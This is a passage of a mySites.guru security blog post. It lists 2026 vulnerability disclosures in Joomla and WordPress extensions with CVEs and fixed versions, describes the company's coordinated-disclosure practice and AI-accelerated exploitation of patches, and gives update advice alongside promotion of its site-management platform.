href=&quot;https://mysites.guru/blog/regular-labs-joomla-extension-security-release/&quot;&gt;Regular Labs patched its whole Joomla extension catalogue at once&lt;/a&gt;: SSRF, command injection and stored XSS, no CVEs&lt;/td&gt;&lt;td&gt;Vendor release&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;21 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/&quot;&gt;PageBuilder CK RCE fixed, again, correctly this time&lt;/a&gt;. The 3.6.0 fix only added a login check. Be on 3.6.5&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;21 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/events-booking-invoice-idor/&quot;&gt;Events Booking exposed personal and financial data from invoices&lt;/a&gt; to anonymous visitors. Fixed in 5.8.2&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;21 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/membership-pro-unauthenticated-file-upload/&quot;&gt;Membership Pro 4.6.2: a quiet fix for anonymous file uploads&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-62415/&quot;&gt;CVE-2026-62415&lt;/a&gt;, rated 9.1&lt;/td&gt;&lt;td&gt;Vendor fix, same flaw we reported in Events Booking&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;20 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Gridbox: one cookie and you are a Super User&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61425/&quot;&gt;CVE-2026-61425&lt;/a&gt;, scored 10.0&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;20 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking: anyone could upload files to your server&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60024/&quot;&gt;CVE-2026-60024&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;20 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/&quot;&gt;DJ-Classifieds unauthenticated file upload&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61424/&quot;&gt;CVE-2026-61424&lt;/a&gt;, spotted being probed in a live site’s logs&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;17 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/&quot;&gt;We are not the only ones auditing Joomla extensions&lt;/a&gt;: a JoomCCK SQL injection and a ChronoForms stored XSS, both via the Joomla CNA&lt;/td&gt;&lt;td&gt;Other researchers&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;17 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/jdownloads-4-1-unauthenticated-upload-flaw/&quot;&gt;jDownloads 4.1 shipped an unauthenticated upload endpoint&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61900/&quot;&gt;CVE-2026-61900&lt;/a&gt;, fixed in 4.1.6&lt;/td&gt;&lt;td&gt;Subscriber report, confirmed and coordinated by us&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;15 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;Unauthenticated SQL injection in Quix Page Builder&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-58078/&quot;&gt;CVE-2026-58078&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;15 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/&quot;&gt;JoomShaper patched the Joomla 3 it said it never would&lt;/a&gt;, six days after saying no&lt;/td&gt;&lt;td&gt;Vendor reversal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;14 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;Unauthenticated SQL injection in EDocman&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57832/&quot;&gt;CVE-2026-57832&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;13 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;Unauthenticated SQL injection in DPCalendar&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57831/&quot;&gt;CVE-2026-57831&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;10 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles! fixes an unauthenticated file upload RCE&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57827/&quot;&gt;CVE-2026-57827&lt;/a&gt;, scored 10.0&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;10 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/&quot;&gt;Phoca Download 6.1.3 fixes an authenticated upload RCE&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57828/&quot;&gt;CVE-2026-57828&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;9 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/joomshaper-drops-joomla-3-support/&quot;&gt;JoomShaper ends Joomla 3 security fixes&lt;/a&gt; regardless of severity&lt;/td&gt;&lt;td&gt;Vendor policy&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;9 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;Unauthenticated SQL injection in AcyMailing&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56292/&quot;&gt;CVE-2026-56292&lt;/a&gt;, affecting Joomla and WordPress&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;8 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;The Helix3 defacement lives in your database, not your files&lt;/a&gt;: a botnet weaponising &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-49049/&quot;&gt;CVE-2026-49049&lt;/a&gt; a week after the patch&lt;/td&gt;&lt;td&gt;Mass exploitation of our earlier report&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;8 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms fixes an unauthenticated file upload RCE&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56291/&quot;&gt;CVE-2026-56291&lt;/a&gt;, scored 10.0&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;7 Jul 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;Helix Ultimate 2.2.7 closes an unauthenticated menu write&lt;/a&gt; leading to stored XSS&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;29 Jun 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Helix3 shipped a critical fix labelled “Security Update”&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-49049/&quot;&gt;CVE-2026-49049&lt;/a&gt;, an unauthenticated file write and delete&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;27 Jun 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK file upload RCE&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56290/&quot;&gt;CVE-2026-56290&lt;/a&gt;, scored 10.0&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;15 Jun 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;An SP Page Builder zero day planting fake Joomla admins&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt;, scored 10.0 and exploited in the wild&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;15 Jun 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;Zero day file upload RCE in iCagenda&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48939/&quot;&gt;CVE-2026-48939&lt;/a&gt;, found in a client’s access log and fixed the same day&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;8 Jun 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;JCE Pro 2.9.99.6 is a hardening release&lt;/a&gt; following a full audit of Joomla’s most-installed editor&lt;/td&gt;&lt;td&gt;Vendor release&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;3 Jun 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;JCE Free and Pro 2.9.99.5 patch an unauthenticated file upload&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Vendor release&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;28 May 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;Joomla 5.4.6 and 6.1.1 patch ten security issues&lt;/a&gt;, including an MFA bypass and a com_users privilege escalation&lt;/td&gt;&lt;td&gt;Joomla core&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;28 May 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/&quot;&gt;JCE Free and Pro 2.9.99.4 patch two authenticated vulnerabilities&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Vendor release&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;16 Apr 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-cve-2026-3614-joomla/&quot;&gt;An AcyMailing flaw listed as a WordPress bug also ships to Joomla&lt;/a&gt;, CVE-2026-3614, confirmed by diffing the source&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt; analysis&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;30 Mar 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework unauthenticated file inclusion, deletion and SQL injection&lt;/a&gt;, CVE-2026-21627, scored 9.5&lt;/td&gt;&lt;td&gt;Other researcher&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;5 Mar 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework authentication bypass letting attackers upload backdoors&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-21628/&quot;&gt;CVE-2026-21628&lt;/a&gt;, scored 10.0&lt;/td&gt;&lt;td&gt;Other researcher&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;WordPress and cross-platform&lt;/h3&gt;




























































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Published&lt;/th&gt;&lt;th&gt;Announcement&lt;/th&gt;&lt;th&gt;Found by&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;22 Jun 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/avada-builder-cve-2026-8713/&quot;&gt;Avada Builder 3.15.4 patches an unauthenticated file deletion flaw&lt;/a&gt;, CVE-2026-8713, scored 9.1 and able to delete wp-config.php&lt;/td&gt;&lt;td&gt;Other researcher&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;12 May 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/avada-builder-cve-2026-4782-4798/&quot;&gt;Avada Builder 3.15.3 patches an unauthenticated SQL injection and a Subscriber-level file read&lt;/a&gt; across a million sites&lt;/td&gt;&lt;td&gt;Other researcher&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;11 May 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/sorry-ransomware-cpanel-detection/&quot;&gt;Spotting .sorry ransomware on your cPanel hosts&lt;/a&gt;, encrypting sites via CVE-2026-41940&lt;/td&gt;&lt;td&gt;Active attack wave&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;6 May 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/breeze-cache-cve-2026-3844-active-exploitation/&quot;&gt;Breeze, the Cloudways cache plugin, has an unauthenticated RCE&lt;/a&gt;, CVE-2026-3844, under active exploitation&lt;/td&gt;&lt;td&gt;Other researcher&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;12 Apr 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/essential-plugin-wordpress-backdoor/&quot;&gt;The WordPress plugin you trusted was sold to an attacker&lt;/a&gt;: 31 plugins acquired, backdoored, then activated eight months later&lt;/td&gt;&lt;td&gt;Supply chain compromise&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;8 Apr 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Smart Slider 3 Pro 3.5.1.35 was a malicious release&lt;/a&gt; pushed through the official update channel. Affects WordPress and Joomla&lt;/td&gt;&lt;td&gt;Supply chain compromise&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;7 Apr 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads CVE-2026-0740&lt;/a&gt;, a 9.8 unauthenticated RCE where the first patch failed&lt;/td&gt;&lt;td&gt;Other researcher&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;6 Apr 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Elementor, Yoast SEO, WPForms and Really Simple Security all shipped security patches&lt;/a&gt; in one month&lt;/td&gt;&lt;td&gt;Other researchers&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;27 Mar 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 lets any subscriber download wp-config.php&lt;/a&gt;, CVE-2026-3098. Affects WordPress and Joomla&lt;/td&gt;&lt;td&gt;Other researcher&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;10 Mar 2026&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;WordPress 6.9.2, 6.9.3 and 6.9.4: ten security fixes, a crash, and incomplete patches&lt;/a&gt;&lt;/td&gt;&lt;td&gt;WordPress core&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;If you would rather not read an archive to find out whether it applies to you, that is the entire point of the platform. mySites.guru already knows which extensions and versions are installed on every site in your account, so &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;every one of these that is in our vulnerability database flags itself&lt;/a&gt; against your sites without you checking a single admin panel.&lt;/p&gt;
&lt;h2&gt;More Joomla disclosures are already in the pipeline&lt;/h2&gt;
&lt;p&gt;The archive above is what we can talk about, and every one of the original nineteen is now patched and named: the events and booking component that sat redacted here through its disclosure window is public at last as &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking&lt;/a&gt;. The archive is still not the whole of what we have found. We are holding further confirmed vulnerabilities in widely installed Joomla extensions, some reported and sitting on a vendor’s timeline, some about to be reported, and none of them named here. We will not name an extension or a vendor until a fix exists, for the obvious reason that naming an unpatched flaw is just publishing an exploit. The one thing that overrides that is the vendor making the fix public first: &lt;a href=&quot;https://mysites.guru/blog/jem-joomla-event-manager-disclosure/&quot;&gt;JEM&lt;/a&gt; went out with five CVEs and no stable release to install because the corrected code was pushed to a public release candidate on GitHub, and once the fix is readable the flaw is too.&lt;/p&gt;
&lt;p&gt;And that is only what is already confirmed. &lt;strong&gt;We are still researching another 10 potential critical or high-severity issues in well known Joomla extensions.&lt;/strong&gt; Some will turn out to be nothing. On the last month’s strike rate, most will not.&lt;/p&gt;
&lt;p&gt;We are also aiming higher than extensions. Together with another security researcher, and with AI assistance, we are working to chain several individually low-severity issues into a single working compromise of Joomla core itself, on the current Joomla 6 release line. It is early days, but our assessment is that a remote compromise of current Joomla 6 is likely to be provable, and we expect to be able to demonstrate it. If we get there, it follows the exact same path as everything above: reported privately to the Joomla Security Strike Team first, with no public detail until a fix exists.&lt;/p&gt;
&lt;p&gt;Each of these will get its own full write-up here the moment its vendor ships a fix, exactly as the fifty-four above did, and each will be added to the archive. So treat that list as a snapshot rather than a finished total. If you are a mySites.guru subscriber you do not have to track any of it by hand: the affected sites get flagged automatically as soon as each vulnerability is public and in our database, and &lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;the announcement list&lt;/a&gt; puts the urgent ones in your inbox on the day.&lt;/p&gt;
&lt;h2&gt;AI is shrinking the gap between a Joomla patch and mass exploitation&lt;/h2&gt;
&lt;p&gt;Here is the uncomfortable half of every disclosure. The moment a fix ships, the fix itself becomes a map. Anyone can diff the patched code against the previous version, see exactly which check was added and therefore which check was missing, and reconstruct the exploit from that difference. This has always been true. What has changed is the speed.&lt;/p&gt;
&lt;p&gt;An attacker can now feed a patch diff to an AI model, get a working understanding of the bug in minutes, generate a proof-of-concept, and turn automated scanning loose to find candidate sites running the vulnerable version, all in the time it used to take to read the changelog. Several of the flaws above were exploited in the wild within hours of the fix appearing. The window between “patched” and “hunted at scale” is now measured in hours, not weeks. That is the real reason “I will update at the weekend” is a losing strategy.&lt;/p&gt;
&lt;p&gt;It is worth being straight about our own side of that, because the real version is more reassuring than the marketing version. &lt;strong&gt;Every one of these nineteen issues was found by a human first&lt;/strong&gt;, by reading the actual extension source code and recognising a dangerous pattern, not by pointing a model at a repository and waiting. That human judgement was then backed by tooling we have built and sharpened over the last decade: the connector that inventories every extension and version across a portfolio of sites, the vulnerability matcher, the proof-of-concept harnesses, the local test rigs. AI came in only as a sprinkle at the end, a way to make sure no code path or edge case was missed once the human had already found the door. Human-led, tool-assisted, AI for completeness. The attackers are automating the weaponisation of your patches. The least you can do is not give them a week’s head start.&lt;/p&gt;
&lt;p&gt;None of which means AI is the villain of the piece. The same tool cuts both ways, and how useful or how dangerous it turns out to be is mostly a statement about the person holding it.&lt;/p&gt;
&lt;figure&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;img src=&quot;https://www.gravatar.com/avatar/4c7eec676a9b4662214e9198afa29acb?s=128&amp;amp;d=mp&quot; alt=&quot;Phil Taylor&quot; width=&quot;44&quot; height=&quot;44&quot; loading=&quot;lazy&quot; /&gt;
      &lt;div&gt;
        &lt;span&gt;Phil Taylor&lt;/span&gt;
        &lt;span&gt;@myPhilTaylor&lt;/span&gt;
      &lt;/div&gt;
      &lt;a href=&quot;https://x.com/myPhilTaylor/status/2076247693320466439&quot;&gt;
        
      &lt;/a&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;Unpopular opinion:&lt;/p&gt;
      &lt;p&gt;Not every text, paragraph, software solution or tool developed by AI is bad, or AI slop, or insecure, or unusable, or unhelpful.&lt;/p&gt;
      &lt;p&gt;A bad workman always blames his tools.&lt;/p&gt;
    &lt;/div&gt;
    &lt;div&gt;
      
      &lt;a href=&quot;https://x.com/myPhilTaylor/status/2076247693320466439&quot;&gt;View on X&lt;/a&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/figure&gt;
&lt;h2&gt;Better found by us than by an attacker&lt;/h2&gt;
&lt;p&gt;If you run one of these extensions and this post made your stomach drop, hold onto one thing: the bug existed whether or not we found it. The only real question was who would find it first, and what they would do next.&lt;/p&gt;
&lt;p&gt;When we find one, a fixed sequence follows. A private report to the vendor. A fix built and shipped. A coordinated release. Only then a public write-up, with the exploit detail held back. The site owner gets a patch before they get the bad news, and no one is given a working exploit.&lt;/p&gt;
&lt;p&gt;When someone with worse intentions finds the same bug, none of that happens. There is no email to the vendor, no patch, no warning. The first you hear of it is a defaced homepage, a wallet-drainer injected into every page, a mailbox full of spam sent from your server, or a quiet backdoor that sits unnoticed for months.&lt;/p&gt;
&lt;p&gt;Same bug, opposite outcome. So yes, a run of disclosures like this is uncomfortable reading, but the uncomfortable version is the good one. The alternative was never “the bug never existed”. The alternative is that someone found it and chose not to tell you. Better us.&lt;/p&gt;
&lt;h2&gt;How mySites.guru finds affected Joomla sites for you&lt;/h2&gt;
&lt;p&gt;Updating one site is easy. The hard part, when you manage dozens or hundreds of Joomla sites, is knowing &lt;strong&gt;which&lt;/strong&gt; ones run PageBuilder CK, or RSFiles!, or AcyMailing, and which of those are still on a vulnerable version. Nineteen disclosures in a month is nineteen rounds of that question, and checking each admin panel by hand does not scale.&lt;/p&gt;
&lt;p&gt;mySites.guru already tracks the installed extensions and versions on every connected site. As each of these vulnerabilities was disclosed, we added its affected range to our extension vulnerability database, so every connected site running a vulnerable version is flagged automatically. You see, in one place, exactly which sites need which update, and you can push the fix from the dashboard rather than logging into each one. You can even &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates for any Joomla extension&lt;/a&gt; so a fix like these is in place before an attacker gets there, and &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass-update across every affected site from one screen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is what we built the platform for. You should not learn about a Joomla security issue from the news and then go audit a portfolio of client sites by hand: we did exactly that when &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;we found every site running a vulnerable copy of JCE&lt;/a&gt;, and we repeat it for every disclosure here. The dashboard tells you what is exposed, lets you &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;drop straight into any site’s admin with one click&lt;/a&gt; to check or fix it, and does it all from one place.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Work down the table above and get every affected extension onto its fixed version. Start with the CVSS 10.0 five: PageBuilder CK, SP Page Builder, Balbooa Forms, RSFiles! and Gridbox&lt;/li&gt;
&lt;li&gt;Every finding in this roundup now has a fix out, so there is nothing left to wait on. The whole job is getting each affected extension updated across every site you run, before a scanner reaches the ones you missed&lt;/li&gt;
&lt;li&gt;Take a backup before each update, and &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;snapshot everything first&lt;/a&gt; if you manage more than a couple of sites&lt;/li&gt;
&lt;li&gt;If you manage many sites, let mySites.guru show you which are still exposed rather than checking by hand, and &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push the updates in bulk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Harden your upload and download directories to block PHP execution, as damage control, not as a substitute for updating&lt;/li&gt;
&lt;li&gt;If you were on a vulnerable version of an upload flaw for any length of time, assume you may have been hit: &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;find any hacked files and backdoors&lt;/a&gt; and follow our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla site&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If a SQL-injection-affected extension was ever live on your site, &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;audit your Joomla database security&lt;/a&gt; and rotate anything an attacker could have read, starting with user password hashes&lt;/li&gt;
&lt;li&gt;Not on it yet? &lt;a href=&quot;https://manage.mysites.guru/en&quot;&gt;Sign up to mySites.guru&lt;/a&gt;, connect your Joomla and WordPress sites, and let the dashboard flag every one running a vulnerable extension for you, then update them in bulk. You can &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;start with a free audit&lt;/a&gt;&lt;/li&gt;
